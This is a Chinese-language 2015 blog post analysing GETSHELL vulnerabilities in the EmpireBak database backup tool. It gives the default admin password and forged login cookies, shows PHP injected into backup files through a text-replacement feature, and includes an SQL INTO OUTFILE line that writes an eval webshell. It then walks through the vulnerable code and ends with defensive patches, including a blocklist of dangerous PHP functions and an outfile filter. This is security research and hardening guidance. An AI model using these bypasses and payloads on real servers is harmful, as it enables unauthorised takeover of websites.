帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库,帝国备份王(Empirebak)存在较多GETSHELL漏洞,本文逐一讨论从进入后台到GETSHELL的各种方式

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?knowledgeId=5980885&categoryId=8314968


2. 漏洞触发条件

0x1: 默认弱口令进入后台

admin
123456
//默认安装弱口令

0x2: 伪造cookie登录后台

ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 
ebak_bakrnd:35y5cCnnA4Kh 
ebak_bakusername:admin 
ebak_baklogintime:4070883661
//使用以上cookie即可直接访问admin.php 

使用firefox tamper data代理截包,访问下列网址

http://localhost/EmpireBak2010/admin.php
http://localhost/EmpireBak2010/DoSql.php

在tamper data暂停的时候,修改cookie值,如果不存在就添加cookie这一项,可以直接免登进入指定后台页面

Cookie=ebak_loginebakckpass=119770adb578053dcb383f67a81bcbc6;ebak_bakrnd=35y5cCnnA4Kh;ebak_bakusername=admin;ebak_baklogintime=4070883661

0x3: 后台"管理备份目录"创建xx.asp目录进行IIS解析漏洞GETSHELL

在新版帝国备份cms中已经修复,并且这个漏洞需要目标服务器是IIS,才存在这个漏洞,在实际情况中,大多数是PHP+APACHE的架构

0x4: 备份数据、替换目录文件内容GETHSLL

1. 登陆后先备份一次数据 
2. 备份时可选择备份到的目录,默认有个safemod  
3. 备份完毕后来到"管理备份目录",打包并下载 
//备份后的safemod目录下所有的表都是以PHP保存的
4. 查看下载下来的备份文件的内容
5. Empirebak"管理备份目录"下有个替换文件内容功能,选择和刚才下载的同一个目录,点击替换文件内容:http://www.xxx.com/diguo/RepFiletext.php?mypath=safemod 
6. 例如替换config.php的内容 
/*
<?php
    $b_table="ecs_ad_custom";
    $tb[ecs_ad_custom]=1;

    $b_baktype=0;
    $b_filesize=300;
    $b_bakline=500;
    $b_autoauf=1;
    $b_dbname="test";
    $b_stru=1;
    $b_strufour=0;
    $b_dbchar="auto";
    $b_beover=0;
    $b_insertf="replace";
    $b_autofield=",,";
    $b_bakdatatype=0;
    ?>
*/
将字符: $b_bakdatatype=0;
替换为: 
$b_bakdatatype=0;
phpinfo();
7. http://xxx/diguo/bdata/safemod/config.php 
显示phpinfo内容,GETSHELL成功

0x5: 执行自定义SQL导出GETSHELL

select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'c:/WEB ROOT PATH/xiaohan.php' 

Relevant Link:

http://www.yunsec.net/a/security/web/jbst/2011/0603/8816.html
http://www.2cto.com/Article/201005/47257.html
http://www.wooyun.org/bugs/wooyun-2010-078591
http://0day5.com/archives/2771
http://www.wooyun.org/bugs/wooyun-2010-078591
http://www.sqlmap.cc/post-37.html


3. 漏洞影响范围
4. 漏洞代码分析

0x1: 伪造cookie登录后台

\admin.php

<?php
require('class/connect.php');
require('class/functions.php');
//验证是否已经处于登录状态
$lur=islogin();
$loginin=$lur['username'];
$rnd=$lur['rnd'];
require LoadAdminTemp('eadmin.php');
?>

\class\functions.php

//是否登陆
function islogin($uname='',$urnd='')
{
    //die(var_dump($_COOKIE));
    $_COOKIE['ebak_loginebakckpass'] = "119770adb578053dcb383f67a81bcbc6"; 
    
    
    $_COOKIE['ebak_baklogintime'] = "4070883661";

    /*
    来自配置文件/class/config.php,漏洞的根源在于帝国CMS采用了默认值
    $set_username="admin";
    $set_outtime="60";
    */
    global $set_username, $set_outtime;
    //从$_COOKIE全局数组中获取bakusername,黑客注入的是: $_COOKIE['ebak_bakusername'] = "admin";
    $username = $uname ? $uname : getcvar('bakusername');
    //从$_COOKIE全局数组中获取bakrnd,黑客注入的是: $_COOKIE['ebak_bakrnd'] = "35y5cCnnA4Kh";
    $rnd = $urnd ? $urnd : getcvar('bakrnd'); 
    
    //正常通过
    if(empty($username) || empty($rnd))
    {
        printerror("NotLogin","index.php");
    }
    //黑客的目标是免登admin,这里一定相等
    if($username <> $set_username)
    {
        printerror("NotLogin","index.php");
    }
    /*
    验证cookie中的值
    $username = admin
    $rnd = 35y5cCnnA4Kh
    */
    Ebak_CHCookieRnd($username, $rnd); 

    $time=time();
    if($time-getcvar('baklogintime')>$set_outtime*60)
    {
        printerror("OutLogintime","index.php");
    }
    esetcookie("baklogintime",$time,0);
    $lr['username']=$username;
    $lr['rnd']=$rnd;
    return $lr;
}

\class\functions.php

//验证COOKIE认证
function Ebak_CHCookieRnd($username,$rnd)
{
    /*
    $set_loginrnd为config.php里面的验证随机码,漏洞的根源在于这是一个默认值: $set_loginrnd="YFfd33mV2MrKwDenkecYWZETWgUwMV";
    */
    global $set_loginrnd; 
    //在默认值情况下,计算的结果永远是: $ckpass = 119770adb578053dcb383f67a81bcbc6
    $ckpass = md5(md5($rnd . $set_loginrnd).'-'.$rnd.'-'.$username.'-'); 
    //比较通过,判定为已登录,漏洞产生
    if($ckpass<>getcvar('loginebakckpass'))
    {
        printerror("NotLogin","index.php");
    }
}

0x2: 备份数据、替换目录文件内容GETHSLL

\phome.php

elseif($phome=="RepPathFiletext")//脤忙禄禄脛驴脗录脦脛录镁
{ 
    Ebak_RepPathFiletext($_POST);
}

\class\combakfun.php

//替换文件内容
function Ebak_RepPathFiletext($add)
{
    global $bakpath;
    //替换目标文件的路径
    $mypath=trim($add['mypath']);
    //被替换的内容
    $oldword = Ebak_ClearAddsData($add['oldword']);
    //用于替换的新内容
    $newword = Ebak_ClearAddsData($add['newword']);
    $dozz=(int)$add['dozz'];
    if(empty($oldword)||empty($mypath))
    {
        printerror("EmptyRepPathFiletext","history.go(-1)");
    }
    if(strstr($mypath,".."))
    {
        printerror("NotChangeRepPathFiletext","history.go(-1)");
    }
    $path=$bakpath."/".$mypath;
    if(!file_exists($path))
    {
        printerror("PathNotExists","history.go(-1)");
    }
    $hand=@opendir($path);
    //遍历目标目录的所有文件,逐一进行文本替换
    while($file=@readdir($hand))
    {
        $filename=$path."/".$file;
          if($file!="."&&$file!=".."&&is_file($filename))
        {
            $value=ReadFiletext($filename);
            if($dozz)
            {    
                //执行文本替换
                $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
            }
            else
            {
                if(!stristr($value,$oldword))
                {
                    continue;
                }
                $newvalue=str_replace($oldword,$newword,$value);
            }
            WriteFiletext_n($filename,$newvalue);
        }
    }
    printerror("RepPathFiletextSuccess","RepFiletext.php");
}

\class\functions.php

//正则替换信息
function Ebak_DoRepFiletextZz($oldword,$newword,$text)
{
    $zztext=Ebak_RepInfoZZ($oldword,"empire-bak-wm.chief-phome",0);
    //无任何过滤,直接替换
    $text=preg_replace($zztext,$newword,$text);
    return $text;
}

0x3: 执行自定义SQL导出GETSHELL

\phome.php

elseif($phome=="DoExecSql") 
{
    Ebak_DoExecSql($_POST);
}
elseif($phome=="DoTranExecSql") 
{
    $file=$_FILES['file']['tmp_name'];
    $file_name=$_FILES['file']['name'];
    $file_type=$_FILES['file']['type'];
    $file_size=$_FILES['file']['size'];
    Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$_POST);
}

\class\combakfun.php

//执行SQL语句
function Ebak_DoExecSql($add)
{
    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
    $query = $add['query'];
    if(!$query)
    {
        printerror("EmptyRunSql","history.go(-1)");
    }
    //数据库
    if($add['mydbname'])
    {
        $empire->query("use `".$add['mydbname']."`");
    }
    //编码
    if($add['mydbchar'])
    {
        DoSetDbChar($add['mydbchar']);
    }
    $query = Ebak_ClearAddsData($query);
    //调用Ebak_DoRunQuery执行最终的SQL语句
    Ebak_DoRunQuery($query, $add['mydbchar'], $phome_db_ver);
    printerror("RunSqlSuccess","DoSql.php");
}

//上传执行SQL
function Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$add){
    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
    if(!$file_name||!$file_size)
    {
        printerror("NotChangeSQLFile","history.go(-1)");
    }
    $filetype=GetFiletype($file_name);//取得扩展名
    if($filetype!=".sql")
    {
        printerror("NotTranSQLFile","history.go(-1)");
    }
    //上传文件
    $newfile='tmp/uploadsql'.time().'.sql';
    $cp=Ebak_DoTranFile($file,$newfile);
    if(empty($cp))
    {
        printerror("TranSQLFileFail","history.go(-1)");
    }
    $query=ReadFiletext($newfile);
    DelFiletext($newfile);
    if(!$query)
    {
        printerror("EmptyRunSql","history.go(-1)");
    }
    //数据库
    if($add['mydbname'])
    {
        $empire->query("use `".$add['mydbname']."`");
    }
    //编码
    if($add['mydbchar'])
    {
        DoSetDbChar($add['mydbchar']);
    }
    //调用Ebak_DoRunQuery执行最终的SQL语句
    Ebak_DoRunQuery($query,$add['mydbchar'],$phome_db_ver);
    printerror("RunSqlSuccess","DoSql.php");
}

\class\functions.php

//运行SQL
function Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
{
    $sql=str_replace("\r","\n",$sql);
    $ret=array();
    $num=0;
    //执行多语句拆分
    foreach(explode(";\n",trim($sql)) as $query)
    {
        $queries=explode("\n",trim($query));
        foreach($queries as $query)
        {
            $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
        }
        $num++;
    }
    unset($sql);
    foreach($ret as $query)
    {
        $query=trim($query);
        if($query)
        {
            if(substr($query,0,12)=='CREATE TABLE')
            {
                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
            }
            else
            {
                mysql_query($query) or die(mysql_error()."<br>".$query);
            }
        }
    }
}


5. 防御方法

0x1: 伪造cookie登录后台

从最佳安全实践的角度来说,基于cookie的免登验证应该使用session机制来进行
\class\functions.php

//设置COOKIE认证
function Ebak_SCookieRnd($username,$rnd)
{
    //基于SESSION进行免登验证
    session_start();
    global $set_loginrnd;  
    //在cookie中加入随机因子
    $ckpass = md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-'.mt_rand() ); 
    //SESSION记录
    $_SESSION['ckpass'] = $ckpass;
    esetcookie("loginebakckpass",$ckpass,0);
}

//验证COOKIE认证
function Ebak_CHCookieRnd($username,$rnd)
{
    //基于SESSION进行免登验证
    session_start(); 
    global $set_loginrnd;  
    //获取SESSION内容
    $ckpass = $_SESSION['ckpass']; 
    if($ckpass<>getcvar('loginebakckpass'))
    {
        printerror("NotLogin","index.php");
    }
}

0x2: 备份数据、替换目录文件内容GETHSLL

\class\combakfun.php

//替换文件内容
function Ebak_RepPathFiletext($add)
{
    global $bakpath;
    //替换目标文件的路径
    $mypath=trim($add['mypath']);
    //被替换的内容
    $oldword = Ebak_ClearAddsData($add['oldword']);
    //用于替换的新内容
    $newword = Ebak_ClearAddsData($add['newword']);

      /**/
    if( preg_match("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", $newword) )
    {
        die("Request Error!");  
    }
    /**/

    $dozz=(int)$add['dozz'];
    if(empty($oldword)||empty($mypath))
    {
        printerror("EmptyRepPathFiletext","history.go(-1)");
    }
    if(strstr($mypath,".."))
    {
        printerror("NotChangeRepPathFiletext","history.go(-1)");
    }
    $path=$bakpath."/".$mypath;
    if(!file_exists($path))
    {
        printerror("PathNotExists","history.go(-1)");
    }
    $hand=@opendir($path);
    //遍历目标目录的所有文件,逐一进行文本替换 
    while($file=@readdir($hand))
    { 
        $filename=$path."/".$file; 
          if($file!="."&&$file!=".."&&is_file($filename))
        { 
            $value=ReadFiletext($filename);
            if($dozz)
            {    
                //执行文本替换
                $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
            }
            else
            {
                //待搜索的目标字符串没有出现,跳过当前文件
                if(!stristr($value,$oldword))
                { 
                    continue;
                }
                $newvalue=str_replace($oldword,$newword,$value); 
            }
            /* inject check */ 
            $prePath = dirname(__FILE__) . DIRECTORY_SEPARATOR;  
            $url = "http://webshellcheck.oss-cn-hangzhou.aliyuncs.com/AliCheck.php";
            if (file_exists($prePath . "AliCheck.php")) 
            {
                //check whether is latest 
                if (ini_get('allow_url_fopen') == '1') 
                { 
                    $content = @file_get_contents($url);
                    if (!empty($content)) 
                    {
                        if ( md5($content) != md5_file($prePath . "AliCheck.php") ) 
                        { 
                            die("not equal");
                            file_put_contents($prePath . "AliCheck.php", $content); 
                        } 
                    }  
                } 
                include_once $prePath . "AliCheck.php";
                $scaner = new Pecker_Scanner();
                $scaner->scanFileContent($filename,$newvalue);
                $result = $scaner->getReport();  
                if (!empty($result[$filename]['function'])) 
                {  
                    die("Request Error!"); 
                } 
                $scaner = null; 
            } 
            else
            {
                //file not exist, need download
                if (ini_get('allow_url_fopen') == '1') 
                {  
                    //check url is valid 
                    $content = @file_get_contents($url);
                    if (!empty($content)) 
                    {
                        file_put_contents($prePath . "AliCheck.php", $content); 
                    } 
                }  
            }
            /**/
            WriteFiletext_n($filename,$newvalue);
        } 
    }
    
    printerror("RepPathFiletextSuccess","RepFiletext.php");
}

0x3: 执行自定义SQL导出GETSHELL

\class\functions.php

//运行SQL
function Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
{
    $sql=str_replace("\r","\n",$sql);
    $ret=array();
    $num=0;
    //执行多语句拆分
    foreach(explode(";\n",trim($sql)) as $query)
    {
        $queries=explode("\n",trim($query));
        foreach($queries as $query)
        {
            $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
        }
        $num++;
    }
    unset($sql);
    foreach($ret as $query)
    {
        $query=trim($query);
        if($query)
        {
            /* SQL注入过滤 */
            if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $query, $matches))
            {
                echo "request error!" . "</br>" . $matches[0];
                die();
            }  
            /* */

            if(substr($query,0,12)=='CREATE TABLE')
            {
                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
            }
            else
            {
                mysql_query($query) or die(mysql_error()."<br>".$query);
            }
        }
    }
}

0x4: 关闭备份功能

一个最简单粗暴的方法就是直接关闭帝国备份
/phome.php

..
elseif($phome=="RepPathFiletext")
{ 
    //Ebak_RepPathFiletext($_POST);
    die("request error!");
}
..


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

posted @ 2015-05-22 08:34  郑瀚Andrew  阅读(2282)  评论(0编辑  收藏  举报